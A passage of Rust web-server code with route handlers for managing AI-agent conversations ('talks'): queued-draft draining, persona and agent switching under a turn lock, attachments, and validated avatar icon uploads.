9965            break;
9966        }
9967        // `talk::drain` takes the store lock and can write/rename the talk
9968        // file. Keep the turn mutex out of that synchronous work: it protects
9969        // every talk's in-memory claim, not this talk's disk operation.
9970        let observed = live_set
9971            .lock()
9972            .unwrap_or_else(PoisonError::into_inner)
9973            .queued
9974            .get(&id)
9975            .copied()
9976            .unwrap_or(0);
9977        let drained = blocking({
9978            let talks = talks.clone();
9979            move || {
9980                let result = talk::drain(&mut talk, &talks);
9981                Ok((talk, result))
9982            }
9983        })
9984        .await;
9985        let (next_talk, result) = match drained {
9986            Ok(drained) => drained,
9987            Err(e) => {
9988                tracing::warn!(
9989                    status = %e.status,
9990                    message = %e.message,
9991                    "talk {id} could not start queued-text drain"
9992                );
9993                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9994                turn.take()
9995                    .expect("held for the whole loop until released here")
9996                    .release(&mut live);
9997                break;
9998            }
9999        };
10000        talk = next_talk;
10001        let drained = match result {
10002            Ok(Some(drained)) => drained,
10003            Ok(None) => {
10004                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10005                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10006                    continue;
10007                }
10008                turn.take()
10009                    .expect("held for the whole loop until released here")
10010                    .release(&mut live);
10011                break;
10012            }
10013            Err(e) => {
10014                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10015                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10016                turn.take()
10017                    .expect("held for the whole loop until released here")
10018                    .release(&mut live);
10019                break;
10020            }
10021        };
10022        if let Some(started) = started.take() {
10023            let _ = started.send(true);
10024        }
10025        let responded = match turn.as_ref() {
10026            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
10027            None => Err(anyhow::anyhow!("the turn guard was released")),
10028        };
10029        if let Err(e) = responded {
10030            tracing::warn!("talk {id} turn failed: {e:#}");
10031        }
10032    }
10033    drop(turn);
10034    if let Some(started) = started {
10035        let _ = started.send(false);
10036    }
10037}
10038
10039/// Clear a queued draft only if it remains exactly the one the caller saw.
10040async fn talk_pending_clear(
10041    State(ui): State<Arc<Ui>>,
10042    Path(id): Path<String>,
10043    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10044) -> ApiResult<Json<TalkView>> {
10045    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10046    blocking(move || {
10047        let id = resolve_talk(&ui.talks, &id)?;
10048        let mut talk = ui.talks.get(&id)?;
10049        if !talk.status.open() {
10050            return Err(ApiError::conflict(format!(
10051                "talk {} is {} and takes no more turns",
10052                talk.short(),
10053                talk.status.as_str()
10054            )));
10055        }
10056        if !talk::clear_pending_if_matches(
10057            &mut talk,
10058            &ui.talks,
10059            &body.expected_text,
10060            &body.expected_attachments,
10061        )? {
10062            return Err(ApiError::conflict(
10063                "queued message changed; reload it before clearing",
10064            ));
10065        }
10066        let thinking = ui.is_thinking(&talk.id);
10067        Ok(Json(TalkView::new(talk, thinking, &ui)))
10068    })
10069    .await
10070}
10071
10072/// Atomically edit a queued draft's text while preserving its attachments.
10073/// The snapshot fields make a concurrent queue or drain a conflict rather
10074/// than silently discarding either message.
10075async fn talk_pending_edit(
10076    State(ui): State<Arc<Ui>>,
10077    Path(id): Path<String>,
10078    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10079) -> ApiResult<Json<TalkView>> {
10080    let admission = ui.begin_admission()?;
10081    admitted(admission, async move {
10082        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10083        let id = {
10084            let ui = Arc::clone(&ui);
10085            blocking(move || resolve_talk(&ui.talks, &id)).await?
10086        };
10087        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10088            .await
10089            .map_err(ApiError::from)?;
10090        let (view, reclaimed) = blocking({
10091            let ui = Arc::clone(&ui);
10092            move || {
10093                let mut talk = ui.talks.get(&id)?;
10094                if !talk.status.open() {
10095                    return Err(ApiError::conflict(format!(
10096                        "talk {} is {} and takes no more turns",
10097                        talk.short(),
10098                        talk.status.as_str()
10099                    )));
10100                }
10101                if !talk::edit_pending_message(
10102                    &mut talk,
10103                    &ui.talks,
10104                    &body.text,
10105                    &body.expected_text,
10106                    &body.expected_attachments,
10107                    body.message,
10108                )? {
10109                    return Err(ApiError::conflict(
10110                        "queued message changed; reload it before editing",
10111                    ));
10112                }
10113                let claim = match ui.begin_queued_talk_turn(&id)? {
10114                    Some(turn_guard) => {
10115                        let (cfg, _) = Config::discover(&talk.repo, None)?;
10116                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10117                    }
10118                    None => None,
10119                };
10120                let thinking = ui.is_thinking(&id);
10121                Ok((TalkView::new(talk, thinking, &ui), claim))
10122            }
10123        })
10124        .await?;
10125        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10126            let talks = ui.talks.clone();
10127            #[cfg(not(test))]
10128            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10129            #[cfg(test)]
10130            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10131        }
10132        Ok(Json(view))
10133    })
10134    .await
10135}
10136
10137/// The 409 for a talk that takes no more turns.
10138fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10139    if talk.status.open() {
10140        return Ok(());
10141    }
10142    Err(ApiError::conflict(format!(
10143        "talk {} is {} and takes no more turns",
10144        talk.short(),
10145        talk.status.as_str()
10146    )))
10147}
10148
10149/// The body of `POST /api/talks/{id}/agent`.
10150#[derive(Debug, Deserialize)]
10151struct TalkAgent {
10152    agent: String,
10153}
10154
10155/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10156/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10157/// start a turn on the old session between the check and the write; one that
10158/// arrives in that window finds the talk busy and becomes a draft.
10159async fn talk_agent(
10160    State(ui): State<Arc<Ui>>,
10161    Path(id): Path<String>,
10162    Json(body): Json<TalkAgent>,
10163) -> ApiResult<Json<TalkView>> {
10164    let admission = ui.begin_admission()?;
10165    admitted(admission, async move {
10166        let id = {
10167            let ui = Arc::clone(&ui);
10168            blocking(move || resolve_talk(&ui.talks, &id)).await?
10169        };
10170        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10171            .await
10172            .map_err(ApiError::from)?;
10173        let repo = {
10174            let ui = Arc::clone(&ui);
10175            let id = id.clone();
10176            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10177        };
10178        let cfg = config_for(&repo).await?;
10179        // Refuse before taking the claim; see `talk_implementers`.
10180        {
10181            let ui = Arc::clone(&ui);
10182            let id = id.clone();
10183            let cfg = cfg.clone();
10184            let wanted = body.agent.clone();
10185            blocking(move || {
10186                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10187                    .map_err(ApiError::bad_request_from)?;
10188                refuse_if_closed(&ui.talks.get(&id)?)
10189            })
10190            .await?;
10191        }
10192        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10193            return Err(ApiError::conflict(
10194                "a talk turn is running; change the agent once it has answered",
10195            ));
10196        };
10197        let switched = {
10198            let ui = Arc::clone(&ui);
10199            let id = id.clone();
10200            let cfg = cfg.clone();
10201            blocking(move || {
10202                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10203                    .map_err(ApiError::bad_request_from)?;
10204                let mut talk = ui.talks.get(&id)?;
10205                if !talk.status.open() {
10206                    return Err(ApiError::conflict(format!(
10207                        "talk {} is {} and takes no more turns",
10208                        talk.short(),
10209                        talk.status.as_str()
10210                    )));
10211                }
10212                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10213                Ok(talk)
10214            })
10215            .await
10216        };
10217        // A `/say` that landed while this held the claim saw the talk busy and
10218        // left a durable draft, trusting the claim's owner to drain it. So the
10219        // claim is settled whatever the outcome. Release an empty draft's claim
10220        // before replying; queued drafts continue independently of the handler.
10221        let observed = ui.queued_generation(&id);
10222        let fresh = {
10223            let ui = Arc::clone(&ui);
10224            let id = id.clone();
10225            blocking(move || Ok(ui.talks.get(&id)?)).await
10226        };
10227        let draining = match fresh {
10228            Ok(talk) => {
10229                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10230            }
10231            Err(_) => false,
10232        };
10233        let talk = switched?;
10234        Ok(Json(TalkView::new(talk, draining, &ui)))
10235    })
10236    .await
10237}
10238
10239/// The body of `POST /api/talks/{id}/persona`.
10240#[derive(Debug, Deserialize)]
10241struct TalkPersona {
10242    persona: String,
10243}
10244
10245/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10246/// like [`talk_agent`]: the turn guard is held for the change and always handed
10247/// to `drain_loop`, so a draft left meanwhile is not stranded.
10248async fn talk_persona(
10249    State(ui): State<Arc<Ui>>,
10250    Path(id): Path<String>,
10251    Json(body): Json<TalkPersona>,
10252) -> ApiResult<Json<TalkView>> {
10253    let admission = ui.begin_admission()?;
10254    admitted(admission, async move {
10255        let id = {
10256            let ui = Arc::clone(&ui);
10257            blocking(move || resolve_talk(&ui.talks, &id)).await?
10258        };
10259        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10260            .await
10261            .map_err(ApiError::from)?;
10262        let repo = {
10263            let ui = Arc::clone(&ui);
10264            let id = id.clone();
10265            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10266        };
10267        let cfg = config_for(&repo).await?;
10268        // Refuse before taking the claim; see `talk_implementers`.
10269        {
10270            let ui = Arc::clone(&ui);
10271            let id = id.clone();
10272            let cfg = cfg.clone();
10273            let wanted = body.persona.clone();
10274            blocking(move || {
10275                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10276                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10277                }
10278                refuse_if_closed(&ui.talks.get(&id)?)
10279            })
10280            .await?;
10281        }
10282        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10283            return Err(ApiError::conflict(
10284                "a talk turn is running; change the persona once it has answered",
10285            ));
10286        };
10287        let switched = {
10288            let ui = Arc::clone(&ui);
10289            let id = id.clone();
10290            let cfg = cfg.clone();
10291            blocking(move || {
10292                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10293                    return Err(ApiError::bad_request(format!(
10294                        "unknown persona `{}`",
10295                        body.persona
10296                    )));
10297                };
10298                let mut talk = ui.talks.get(&id)?;
10299                if !talk.status.open() {
10300                    return Err(ApiError::conflict(format!(
10301                        "talk {} is {} and takes no more turns",
10302                        talk.short(),
10303                        talk.status.as_str()
10304                    )));
10305                }
10306                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10307                Ok(talk)
10308            })
10309            .await
10310        };
10311        // As in `talk_agent`: settle the claim before replying, even on refusal.
10312        let observed = ui.queued_generation(&id);
10313        let fresh = {
10314            let ui = Arc::clone(&ui);
10315            let id = id.clone();
10316            blocking(move || Ok(ui.talks.get(&id)?)).await
10317        };
10318        let draining = match fresh {
10319            Ok(talk) => {
10320                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10321            }
10322            Err(_) => false,
10323        };
10324        let talk = switched?;
10325        Ok(Json(TalkView::new(talk, draining, &ui)))
10326    })
10327    .await
10328}
10329
10330/// The body of `POST /api/talks/{id}/implementers`.
10331#[derive(Debug, Deserialize)]
10332struct TalkImplementers {
10333    implementers: u8,
10334}
10335
10336/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10337/// like [`talk_agent`]: the turn guard is held for the change and always handed
10338/// to `drain_loop`, so a draft left meanwhile is not stranded.
10339async fn talk_implementers(
10340    State(ui): State<Arc<Ui>>,
10341    Path(id): Path<String>,
10342    Json(body): Json<TalkImplementers>,
10343) -> ApiResult<Json<TalkView>> {
10344    let admission = ui.begin_admission()?;
10345    admitted(admission, async move {
10346        let id = {
10347            let ui = Arc::clone(&ui);
10348            blocking(move || resolve_talk(&ui.talks, &id)).await?
10349        };
10350        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10351            .await
10352            .map_err(ApiError::from)?;
10353        let repo = {
10354            let ui = Arc::clone(&ui);
10355            let id = id.clone();
10356            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10357        };
10358        let cfg = config_for(&repo).await?;
10359        // Refuse a request that cannot succeed before taking the claim: a claim
10360        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10361        // moment, so a refusal would make the next request see "busy" instead of
10362        // its own answer. The checks after the claim stay the ones that decide.
10363        {
10364            let ui = Arc::clone(&ui);
10365            let id = id.clone();
10366            let cfg = cfg.clone();
10367            let wanted = body.implementers;
10368            blocking(move || {
10369                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10370                refuse_if_closed(&ui.talks.get(&id)?)
10371            })
10372            .await?;
10373        }
10374        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10375            return Err(ApiError::conflict(
10376                "a talk turn is running; change the implementers once it has answered",
10377            ));
10378        };
10379        let switched = {
10380            let ui = Arc::clone(&ui);
10381            let id = id.clone();
10382            let cfg = cfg.clone();
10383            blocking(move || {
10384                let chosen = talk::check_implementers(body.implementers, &cfg)
10385                    .map_err(ApiError::bad_request)?;
10386                let mut talk = ui.talks.get(&id)?;
10387                if !talk.status.open() {
10388                    return Err(ApiError::conflict(format!(
10389                        "talk {} is {} and takes no more turns",
10390                        talk.short(),
10391                        talk.status.as_str()
10392                    )));
10393                }
10394                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10395                Ok(talk)
10396            })
10397            .await
10398        };
10399        // As in `talk_agent`: settle the claim before replying, even on refusal.
10400        let observed = ui.queued_generation(&id);
10401        let fresh = {
10402            let ui = Arc::clone(&ui);
10403            let id = id.clone();
10404            blocking(move || Ok(ui.talks.get(&id)?)).await
10405        };
10406        let draining = match fresh {
10407            Ok(talk) => {
10408                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10409            }
10410            Err(_) => false,
10411        };
10412        let talk = switched?;
10413        Ok(Json(TalkView::new(talk, draining, &ui)))
10414    })
10415    .await
10416}
10417
10418/// `POST /api/talks/{id}/close`.
10419async fn talk_close(
10420    State(ui): State<Arc<Ui>>,
10421    Path(id): Path<String>,
10422) -> ApiResult<Json<TalkView>> {
10423    blocking(move || {
10424        let id = resolve_talk(&ui.talks, &id)?;
10425        let mut talk = ui.talks.get(&id)?;
10426        talk::close(&mut talk, &ui.talks)?;
10427        let thinking = ui.is_thinking(&talk.id);
10428        Ok(Json(TalkView::new(talk, thinking, &ui)))
10429    })
10430    .await
10431}
10432
10433/// `POST /api/talks/{id}/reopen`.
10434async fn talk_reopen(
10435    State(ui): State<Arc<Ui>>,
10436    Path(id): Path<String>,
10437) -> ApiResult<Json<TalkView>> {
10438    blocking(move || {
10439        let id = resolve_talk(&ui.talks, &id)?;
10440        let mut talk = ui.talks.get(&id)?;
10441        talk::reopen(&mut talk, &ui.talks)?;
10442        let thinking = ui.is_thinking(&talk.id);
10443        Ok(Json(TalkView::new(talk, thinking, &ui)))
10444    })
10445    .await
10446}
10447
10448/// `DELETE /api/talks/{id}`.
10449///
10450/// Removes the conversation's record and artifacts outright, unlike
10451/// [`talk_close`] which keeps the record as history. A turn already in
10452/// flight is not refused here the way [`run_delete`] refuses a live run:
10453/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10454/// under [`Talks::guard`], that the record they are about to write back is
10455/// still there, so a delete racing a turn is safe without this route having
10456/// to know a turn is running at all.
10457async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10458    blocking(move || {
10459        let id = resolve_talk(&ui.talks, &id)?;
10460        ui.talks.remove(&id)?;
10461        Ok(StatusCode::NO_CONTENT)
10462    })
10463    .await
10464}
10465
10466fn talk_ids(root: &FsPath) -> Vec<String> {
10467    std::fs::read_dir(root)
10468        .into_iter()
10469        .flatten()
10470        .flatten()
10471        .filter_map(|e| {
10472            let path = e.path();
10473            if path.extension().is_some_and(|ext| ext == "json") {
10474                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10475            } else {
10476                None
10477            }
10478        })
10479        .collect()
10480}
10481
10482/// Expand an id or short id to exactly one talk id.
10483fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10484    if plain_record_id(id) && store.path_of(id).is_file() {
10485        return Ok(id.to_owned());
10486    }
10487    pick(talk_ids(store.root()), id, "talk")
10488}
10489
10490/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10491/// future `talk-say`.
10492async fn talk_attachment_post(
10493    State(ui): State<Arc<Ui>>,
10494    Path(id): Path<String>,
10495    headers: HeaderMap,
10496    body: Bytes,
10497) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10498    let mime = validate_attachment(&headers, &body)?;
10499    let name = filename_header(&headers);
10500    let data = body.to_vec();
10501    blocking(move || {
10502        let id = resolve_talk(&ui.talks, &id)?;
10503        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10504        Ok((StatusCode::CREATED, Json(att)))
10505    })
10506    .await
10507}
10508
10509/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10510/// `<img>` tag in the transcript.
10511async fn talk_attachment_get(
10512    State(ui): State<Arc<Ui>>,
10513    Path((id, att)): Path<(String, String)>,
10514) -> ApiResult<Response> {
10515    blocking(move || {
10516        let id = resolve_talk(&ui.talks, &id)?;
10517        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10518            return Err(ApiError::not_found(format!(
10519                "talk {id} has no attachment `{att}`"
10520            )));
10521        };
10522        Ok(attachment_response(&meta.mime, data))
10523    })
10524    .await
10525}
10526
10527/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10528/// the icon setting, so changing it changes the URL.
10529fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10530    let id = avatar_encode(&p.id);
10531    format!(
10532        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10533        persona_icon::fingerprint(
10534            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10535        )
10536    )
10537}
10538
10539#[derive(Debug, Default, Deserialize)]
10540struct AvatarQuery {
10541    persona: Option<String>,
10542    /// Set by the page after the first load failed: skip the `icon`.
10543    builtin: Option<String>,
10544}
10545
10546/// Served with every built-in avatar: it is an image, so nothing else may run.
10547const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10548
10549fn builtin_avatar(id: &str) -> Response {
10550    svg_avatar(persona_icon::builtin_svg(id))
10551}
10552
10553async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10554    raster_or_builtin(
10555        read_icon_file(&avatar_setting_path(&ui.home, None))
10556            .filter(|_| q.builtin.is_none())
10557            .as_deref(),
10558        persona_icon::operator_svg(),
10559    )
10560}
10561
10562fn svg_avatar(svg: &'static str) -> Response {
10563    (
10564        [
10565            (header::CONTENT_TYPE, "image/svg+xml"),
10566            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10567            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10568            (header::CACHE_CONTROL, "no-cache"),
10569        ],
10570        svg,
10571    )
10572        .into_response()
10573}
10574
10575fn avatar_encode(value: &str) -> String {
10576    value
10577        .bytes()
10578        .map(|b| {
10579            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10580                char::from(b).to_string()
10581            } else {
10582                format!("%{b:02X}")
10583            }
10584        })
10585        .collect()
10586}
10587
10588// Display-only overrides live outside configuration and conversation records.
10589fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10590    let Some(id) = persona else {
10591        return home.join("avatars/operator.data");
10592    };
10593    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10594    let mut path = home.join("avatars/personas");
10595    for chunk in encoded.as_bytes().chunks(100) {
10596        path.push(std::str::from_utf8(chunk).expect("hex"));
10597    }
10598    path.join("icon.data")
10599}
10600
10601fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10602    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10603        Some(value) if value == "builtin" => Some(String::new()),
10604        Some(value) => Some(value),
10605        None => configured.map(str::to_owned),
10606    }
10607}
10608
10609fn operator_icon_url(home: &FsPath) -> String {
10610    format!(
10611        "/avatars/operator.svg?v={}",
10612        persona_icon::fingerprint(
10613            read_icon_file(&avatar_setting_path(home, None))
10614                .as_deref()
10615                .or(Some(persona_icon::operator_svg()))
10616        )
10617    )
10618}
10619
10620fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10621    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10622        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10623            attachment_response(mime, bytes)
10624        }
10625        _ => svg_avatar(builtin),
10626    };
10627    response
10628        .headers_mut()
10629        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10630    response
10631}
10632
10633#[derive(Default, Deserialize)]
10634struct AvatarSettingsQuery {
10635    repo: Option<PathBuf>,
10636    persona: Option<String>,
10637    builtin: Option<String>,
10638    inherit: Option<String>,
10639}
10640
10641fn avatar_settings_specs(
10642    ui: &Ui,
10643    repo: Option<PathBuf>,
10644) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10645    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10646    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10647        .map(|cfg| cfg.talk.personas)
10648        .unwrap_or_default();
10649    Ok((repo, specs))
10650}
10651
10652fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10653    let Ok(entries) = std::fs::read_dir(path) else {
10654        return;
10655    };
10656    for entry in entries.flatten() {
10657        let name = entry.file_name().to_string_lossy().into_owned();
10658        if name == "icon.data" {
10659            let bytes: Option<Vec<u8>> = prefix
10660                .as_bytes()
10661                .chunks(2)
10662                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10663                .collect();
10664            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10665                out.push(id);
10666            }
10667        } else if name.len() <= 100
10668            && !name.is_empty()
10669            && name.bytes().all(|b| b.is_ascii_hexdigit())
10670            && entry.file_type().is_ok_and(|t| t.is_dir())
10671        {
10672            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10673        }
10674    }
10675}
10676
10677async fn avatar_settings_get(
10678    State(ui): State<Arc<Ui>>,
10679    Query(q): Query<AvatarSettingsQuery>,
10680) -> ApiResult<Json<serde_json::Value>> {
10681    blocking(move || {
10682        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10683        let mut catalog = persona::catalog(&specs);
10684        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10685        let mut saved = Vec::new();
10686        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10687        for id in saved {
10688            if !catalog.iter().any(|p| p.id == id) {
10689                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10690            }
10691        }
10692        let personas: Vec<_> = catalog.iter().map(|p| {
10693            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10694            let override_state = match saved.as_deref() {
10695                Some("builtin") => "builtin",
10696                Some(_) => "custom",
10697                None => "inherit",
10698            };
10699            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10700            serde_json::json!({"id":p.id,"name":p.name,
10701                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10702                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10703                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10704        }).collect();
10705        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10706    }).await
10707}
10708
10709async fn settings_persona_avatar(
10710    State(ui): State<Arc<Ui>>,
10711    Query(q): Query<AvatarSettingsQuery>,
10712) -> ApiResult<Response> {
10713    blocking(move || {
10714        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10715        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10716        let found = persona::find(&specs, id);
10717        let icon =
10718            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10719        Ok(raster_or_builtin(
10720            icon.as_deref().filter(|_| q.builtin.is_none()),
10721            persona_icon::builtin_svg(id),
10722        ))
10723    })
10724    .await
10725}
10726
10727fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10728    if q.persona
10729        .as_ref()
10730        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10731    {
10732        return Err(ApiError::bad_request("invalid persona id"));
10733    }
10734    Ok(())
10735}
10736
10737async fn avatar_settings_put(
10738    State(ui): State<Arc<Ui>>,
10739    Query(q): Query<AvatarSettingsQuery>,
10740    Json(upload): Json<MagiIconUpload>,
10741) -> ApiResult<Json<serde_json::Value>> {
10742    blocking(move || {
10743        validate_avatar_target(&q)?;
10744        save_icon_file(
10745            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10746            &upload.icon,
10747        )
10748        .map_err(ApiError::bad_request_from)?;
10749        Ok(Json(serde_json::json!({"saved":true})))
10750    })
10751    .await
10752}
10753
10754async fn avatar_settings_delete(
10755    State(ui): State<Arc<Ui>>,
10756    Query(q): Query<AvatarSettingsQuery>,
10757) -> ApiResult<Json<serde_json::Value>> {
10758    blocking(move || {
10759        validate_avatar_target(&q)?;
10760        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10761        if q.persona.is_some() && q.inherit.is_none() {
10762            atomic_icon_write(&path, "builtin")?;
10763        } else {
10764            match std::fs::remove_file(path) {
10765                Ok(()) => (),
10766                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10767                Err(e) => return Err(anyhow::Error::from(e).into()),
10768            }
10769        }
10770        Ok(Json(serde_json::json!({"saved":true})))
10771    })
10772    .await
10773}
10774
10775// The global MAGI icon is deliberately independent of repository configuration.
10776fn magi_icon_path(home: &FsPath) -> PathBuf {
10777    home.join("magi-icon.data")
10778}
10779
10780fn read_magi_icon(home: &FsPath) -> Option<String> {
10781    read_icon_file(&magi_icon_path(home))
10782}
10783
10784fn read_icon_file(path: &FsPath) -> Option<String> {
10785    let metadata = std::fs::metadata(path).ok()?;
10786    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10787        return None;
10788    }
10789    let file = std::fs::File::open(path).ok()?;
10790    use std::io::Read;
10791    let mut text = String::new();
10792    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10793        .read_to_string(&mut text)
10794        .ok()?;
10795    if text.len() > persona_icon::ICON_MAX_BYTES {
10796        return None;
10797    }
10798    if text == "builtin" {
10799        return Some(text);
10800    }
10801    validate_uploaded_icon(&text).ok()?;
10802    Some(text)
10803}
10804
10805fn magi_icon_url(home: &FsPath) -> String {
10806    format!(
10807        "/avatars/magi?v={}",
10808        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10809    )
10810}
10811
10812async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10813    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10814}
10815
10816#[derive(Deserialize)]
10817struct MagiIconUpload {
10818    icon: String,
10819}
10820
10821fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10822    save_icon_file(&magi_icon_path(home), icon)
10823}
10824
10825fn validate_uploaded_icon(icon: &str) -> Result<()> {
10826    if !icon.starts_with("data:") {
10827        anyhow::bail!("upload a raster image");
10828    }
10829    let (mime, bytes) = persona_icon::load(icon)?;
10830    if sniffed_mime(&bytes) != Some(mime) {
10831        anyhow::bail!("image content does not match its type");
10832    }
10833    Ok(())
10834}
10835
10836fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10837    validate_uploaded_icon(icon)?;
10838    atomic_icon_write(path, icon)
10839}
10840
10841fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10842    let home = path.parent().expect("icon parent");
10843    std::fs::create_dir_all(home)?;
10844    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10845    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10846    let result = (|| -> Result<()> {
10847        use std::io::Write;
10848        let mut file = std::fs::OpenOptions::new()
10849            .write(true)
10850            .create_new(true)
10851            .open(&temp)?;
10852        file.write_all(icon.as_bytes())?;
10853        file.sync_all()?;
10854        std::fs::rename(&temp, path)?;
10855        Ok(())
10856    })();
10857    let _ = std::fs::remove_file(temp);
10858    result?;
10859    Ok(())
10860}
10861
10862async fn magi_icon_put(
10863    State(ui): State<Arc<Ui>>,
10864    Json(upload): Json<MagiIconUpload>,
10865) -> ApiResult<Json<serde_json::Value>> {
10866    blocking(move || {
10867        if !upload.icon.starts_with("data:") {
10868            return Err(ApiError::bad_request("upload a raster image"));
10869        }
10870        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10871        if sniffed_mime(&bytes) != Some(mime) {
10872            return Err(ApiError::bad_request(
10873                "image content does not match its type",
10874            ));
10875        }
10876        save_magi_icon(&ui.home, &upload.icon)?;
10877        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10878    })
10879    .await
10880}
10881
10882async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10883    blocking(move || {
10884        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10885            Ok(()) => (),
10886            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
